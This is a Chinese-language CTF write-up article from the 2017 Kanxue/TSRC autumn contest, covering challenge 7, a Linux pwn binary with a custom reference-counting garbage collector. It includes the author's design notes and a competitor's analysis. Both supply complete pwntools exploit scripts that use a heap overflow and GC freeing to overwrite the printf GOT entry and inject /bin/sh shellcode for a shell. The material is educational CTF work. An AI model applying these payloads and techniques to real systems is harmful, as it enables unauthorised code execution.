看雪.腾讯TSRC 2017 CTF 秋季赛 第七题点评及解析思路

    

看雪CTF快讯：

第七题已有 14 人破解！

导语

经过两天奋战，第七题结束。

第七题出题者Ox9A82以14人攻破的成绩，排位防守方第三名。

攻击方hotwinter依然排名第一位，iweizime上升一位，现排名第二名。

此题过后，前十名的排名依然在不断变化中......现前十名的排名如下：

选手们正在带给我们越来越多的惊喜~

距离比赛结束还剩三题，同志们，加油吧！

接下来让我们一起来看看第七题的点评、出题思路和解析。

看雪评委netwind点评

作者设计新颖，引入了一个内存管理结构GC来提供自动的内存管理，但实际环境中GC也常常漏洞频发。本题中cheat函数功能存在堆溢出漏洞，通过堆溢出控制GC的指针结构，之后通过触发回收可以造成任意地址写的操作，通过任意地址写控制函数的got表的内容就可以实现漏洞利用。

第七题作者简介

Ox9A82，曾在腾讯实习的安全研究员，关注浏览器和Windows系统的安全漏洞，目前从事Edge浏览器Chakra引擎的安全研究。同时也是一名属于Syclover和Nu1L团队的CTFer和CTF-Wiki的编辑者，对CTF中的各类Pwn技巧比较有兴趣。

最早结识看雪平台出于对逆向和内核Rootkit技术的热爱，在看雪也学习到了很多，希望看雪接下来可以越办越好。

第七题设计思路

这道题出题时的想法是把实际漏洞环境中比较常见的GC结合进CTF中的Linux Pwn题目中，但是比较遗憾的是水平有限没能够在出题时间内完成整个GC的漏洞设计，所以只好做了简化并构造了漏洞，因此这个利用的难度其实比较简单。

首先，解释一下什么是GC，GC一般称作垃圾回收，设计GC的目的是为了给程序员提供自动的内存管理，这样程序员就不需要手动的去释放内存了。因为程序员手动管理内存往往会产生内存泄漏等问题，所以现在一般的脚本语言或者虚拟机往往都存在有GC，比如java虚拟机、javascript引擎等等。
但是，在实际环境中GC也是漏洞的高发地带，比如在IE浏览器mshtml中各种DOM对象都是基于引用计数进行内存管理的，复杂的引用计数关系导致出现了大量的Use-After-Free漏洞。

在这道题目中，涉及到了一个基础的引用计数法（Reference Counting Collector）GC，当程序分配内存之后会自动维护对于每个块的引用技术，当检测到某个块的计数为0时就会把它回收以便进行下一次使用。

但是在进行内存回收时，这个块中可能会存在对其它块的引用，因此释放此块时需要对块中所有的指针进行判断，如果判定是由GC维护的块就需要对指针指向的块也做引用计数减一的操作。

这道题目中cheat功能存在一个堆溢出漏洞，通过堆溢出可以控制到GC的指针结构，之后通过触发回收可以造成一个任意地址写固定值的操作，通过任意地址写控制函数的got表内容就可以实现getshell。

from pwn import *    

import time

from ctypes import *

import os, sys

 

 

def uint32(x):

    return c_uint32(x).value

 

def log(str):

     log.info(str)

 

def info(string):

    return log.info(string)

 

def js(str):

     return io.recvuntil(str)

 

def jsn(num):

     if num:

          return io.recvn(num+1)

     else:

          return io.recvn(num)

 

def fs(str):

     io.sendline(str)

 

def fsn(str):

     io.send(str)

 

def stop():

     while 1:

      time.sleep(1)

 

def shell():

    io.interactive()

 

def mark(name,vaule):

    string='\n=====>'+str(name)+' :'+str(vaule)+'\n'

    print string

 

def dbg(string):

    raw_input(string)

 

def shellcode():

    return asm(shellcraft.amd64.linux.sh())

 

 

###setting

 

local=1

debug=0

log=1    

 

if local:

     io=process('./pwn')

     #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

else:

     io=remote('127.0.0.1',10086)

     libc = ELF('./libc')

if log:

     context(log_level='debug')

if debug:

     gdb.attach(io)

 

#user code =============================

def signup():

    js('2.Signup')

    fs('2')

    js('input your username')

    fs('1')

    js('input your password')

    fs('1')

    js('input your character')

    fs('1')

 

def login():

    js('2.Signup')

    fs('1')

    js('Input your username:')

    fs('1')

    js('Input your password:')

    fs('1')

 

def goto():

    js('0.exit')

    fs('3')

    js('6.Primorsk')

    fs('1')

 

def explore():

    js('0.exit')

    fs('4')

    try:

        js('Do you want to pick up it?')

    except Exception:

    js('nothing found')

        return False

    fs('y')

    return True

 

def view_package():

    js('0.exit')

    fs('2')

 

def del_item(num):

    js('Your Choice:')

    fs(str(num))

    js('2.return')

    fs('1')

    js('2.return')

    fs('2')

    js('Your Choice:')

    fs('8')

 

def cheat():

    js('0.exit')

    fs('5')

    js('name')

    fs('1')

    js('content')

    fs('123')

 

def overflow(str):

    js('0.exit')

    fs('5')

    js('content')

    fs(str)

 

def get_shell():

    js('0.exit')

    fs('y')

    fs('1')

    js('Input your username:')

    fs('1')

    js('Input your password:')

    fs('1')

    shell()

 

if __name__=='__main__' :

    signup()

    login()   

    goto()

    cheat()

 

    if False==explore():

        mark('try again')

 

    if False==explore():

        mark('try again')

 

    payload='a'*32+p64(0x1)+p64(0x18)+p64(0x0605058)+p64(0x0)+p64(0x1)

    overflow(payload)

    view_package()

    del_item(1)

    payload2=7*8*2*'a'+"\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"

    overflow(payload2)

    get_shell()

下面选取攻击者 iweizime 的破解分析

第七题由于是作者自己实现的内存分配机制，所以描述起来比较麻烦，贴了很多图。其实没有那么复杂。

检查和测试

拿到程序后，还是按照流程先用pwntools检查一下，结果如下。

$pwn checksec pwn

    Arch:     amd64-64-little

    RELRO:    Partial RELRO

    Stack:    Canary found

    NX:       NX enabled

    PIE:      No PIE (0x400000)

可以看到程序是64位的，可以改got表，有栈保护，有NX，没有PIE。虽然开了NX保护，但是并没有什么用，还是可以用shellcode，后面会说到。

然后先跑一下程序，了解一下基本流程。进过几次测试之后，很幸运的发现一个使程序崩溃的漏洞，虽然不知道漏洞详情，但能崩溃就有可能导致代码执行。

逆向

pwn题的逆向一般会简单很多，因为里面会有很多字符串，而且考点也不是逆向。只挑和漏洞有关的几个函数说一下。

首先main很简单。

在函数init_game里面，用函数mmap_mem分配了一块内存，将这块内存的首尾地址保存在了两个全局变量mem_start, mem_end中，然后又保存了一个top_chunk指针，用于作者自己实现的mymalloc函数分配内存。

在往下看，到mmap_mem函数里面，就发先一些问题了，函数mmap分配的内存是可读、可写、可执行的。这也就是NX保护没有用，可以使用shellcode的原因。

在注册、登陆之后，主要循环如下：

其中的cheat函数存在问题，如果是首次cheat，会分配一块大小为48字节的内存，前16字节作为name，后32字节作为content。然而再次cheat的时候，读入content的最大长度为300，这显然是个漏洞。

现在来看一下为什么登陆两次会发生崩溃。

在signup的时候，程序会分配一块48字节大小的内存，并调用set_buf函数来使全局变量userinfo指向这块内存。当再次signup的时候，程序又分配一块新内存，然后将全局变量userinfo指向新的内存，并对原来的那块内存进行一次应该是类似于free但是很奇怪的操作。

下面来看一下maybe_free和与之相关的几个函数。

首先是set_buf函数，它调用了maybe_free函数。

然后是maybe_free函数本身。

再然后是find_valid_addr_in_chunk函数。

再然后是valid_address函数。

最后是add_to_array函数。

用图解释一下add_to_array做了什么

弄清楚这几个函数之后，就可以搞清楚崩溃的问题了。

maybe_free函数调用find_valid_addr_in_chunk函数在要释放的内存中找出它认为是指针（也就是找它认为合法的地址）的字段，然后将这个指针指向的chunk地址保存到一个全局变量free_array指向的数组里，这个数组也是通过myalloc函数分配的，然后将数组的当前地址保存进上述指针指向的位置。一开始输入的用户名weizi变成64为整数为0x697A696577，正好是程序认为的合法地址，但是这个地址又不可写，所以造成了崩溃。可以利用这个漏洞来写got表。

数据结构

在写exploit之前，还需要了解一下数据结构

struct chunk_header_stru {

    int64_t inuse;

    int64_t size;

}

 

struct userinfo_stru {

    int64_t             unused;

    char                username[16];

    char                password[16];

    characterinfo_stru  *character;

};

 

struct characterinfo_stru {

    char        name[16];

    int64_t     health;

    int64_t     stamina;

    int64_t     available_weight;

    int64_t     location;

    item_stru   *items;

};

 

struct item_stru {

    int64_t     type;

    int64_t     weight;

    int64_t     num;

    item_stru   *next;

    int64_t     bullet;

    int64_t     power;

};

Exploit

利用的思路是首先用printf的got表项地址作为用户名signup，然后login并cheat一次。退出后再signup一次，将printf的got表项改为free_array指向的数组的地址。最后用cheat把shellcode写入数组的位置，并触发对printf的调用。

第一次signup，login，cheat之后，内存布局如下：

再signup，login之后，内存布局如下

接下来，只要再一次用cheat来把shellcode写入array的位置，并触发printf就可以了。我选取的是函数show_my_status来调用printf，还有一点需要注意的是在show_location函数里面用到了userinfo->characterinfo->location，如果location不合法会退出，所以在覆盖new_usrnf的时候要稍微注意一下。

只需要signup，login，cheat，show_my_status四个操作就可以拿到shell。

#!/usr/bin/env python2

# -*- coding: utf-8 -*-

from pwn import *

 

 

 

# Set up pwntools for the correct architecture

context.update(arch='amd64')

context.log_level = 'info'

exe = './pwn'

 

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

 

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

continue

'''.format(**locals())

 

 

def start(argv=[], *a, **kw):

    if args.REMOTE:

        return remote('123.206.22.95', 8888)

    if args.GDB:

        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)

    else:

        return process([exe] + argv, *a, **kw)

 

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

io = start()

 

 

def signup(username, password, character_name):

    io.recvuntil('2.Signup')

    io.recvuntil('==============================')

    io.sendline('2')

    io.recvuntil('input your username')

    io.sendline(username)

    io.recvuntil('input your password')

    io.sendline(password)

    io.recvuntil("input your character's name")

    io.sendline(character_name)

 

 

def login(username, password):

    io.recvuntil('1.Login')

    io.recvuntil('==============================')

    io.sendline('1')

    io.recvuntil('Input your username:')

    io.sendline(username)

    io.recvuntil('Input your password:')

    io.sendline(password)

 

def cheat(name, content, isFirstTime=True):

    if isFirstTime:

        io.recvuntil('0.exit')

        io.sendline('5')

        io.recvuntil('name:')

        io.sendline(name)

        io.recvuntil('content:')

        io.sendline(content)

    else:

        io.recvuntil('0.exit')

        io.sendline('5')

        io.recvuntil('content:')

        io.sendline(content)

 

def goto(location):

    io.recvuntil('0.exit')

    io.sendline('3')

    io.recvuntil('6.Primorsk')

    io.sendline(str(location))

 

def explore(pickup):

    io.recvuntil('0.exit')

    io.sendline('4')

    io.recvuntil('Do you want to pick up it?')

    if pickup:

        io.sendline('y')

    else:

        io.sendline('n')

    l = io.recvline()

    if l == 'Ok..\n':

        return True

    else:

        return False

 

def view_and_remove(choice):

    io.recvuntil('0.exit')

    io.sendline('2')

    io.recvuntil('Your Choice:')

    io.sendline(str(choice))

    io.recvline('2.return')

    io.sendline('1')

    io.recvline('2.return')

    io.sendline('2')

    io.recvuntil('Your Choice:')

    io.sendline('-1')

 

def logout():

    io.recvuntil('0.exit')

    io.sendline('0')

 

def show_status():

    io.recvuntil('0.exit')

    io.sendline('1')

 

 

 

printf_got = 0x605038

signup(p64(printf_got), '12345678', 'root')

login(p64(printf_got), '12345678')

cheat('weizi', 'weizi', True)

logout()

signup(p64(printf_got), '012345678', 'root')

login(p64(printf_got), '012345678')

payload = 'A' * 32

payload += p64(1)

payload += p64(0x40)

payload += p64(0)

payload += p64(printf_got)

payload += p64(0)

payload += '12345678'

payload += p64(0)

payload += p64(0x6050B8 - 40)   # 伪造的characterinfo *

payload += p64(1)

payload += p64(0x20)

shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"

payload += shellcode

log.info("len(payload) = {}".format(len(payload)))

cheat(None, payload, False)

show_status()

io.interactive()

最后得到的flag为flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}。

一点总结

• 做题首先要细心，像cheat函数中的漏洞很明显，不要漏掉。

• 要关注输入，有输入的地方才最有可能出漏洞。在这题中，能控制的输入最多的就是cheat，其次就是signup。剩下的基本上只能输入1, 2, 3 ...或者yYnN等。

温馨提示

每道题结束过后都会看到很多盆友的精彩解题分析过程，因为公众号内容的限制，每次题目过后我们将选出一篇与大家分享。解题方式多种多样，各位参赛选手的脑洞也种类繁多，想要看到更多解题分析的小伙伴们可以前往看雪论坛【CrackMe】版块查看哦！

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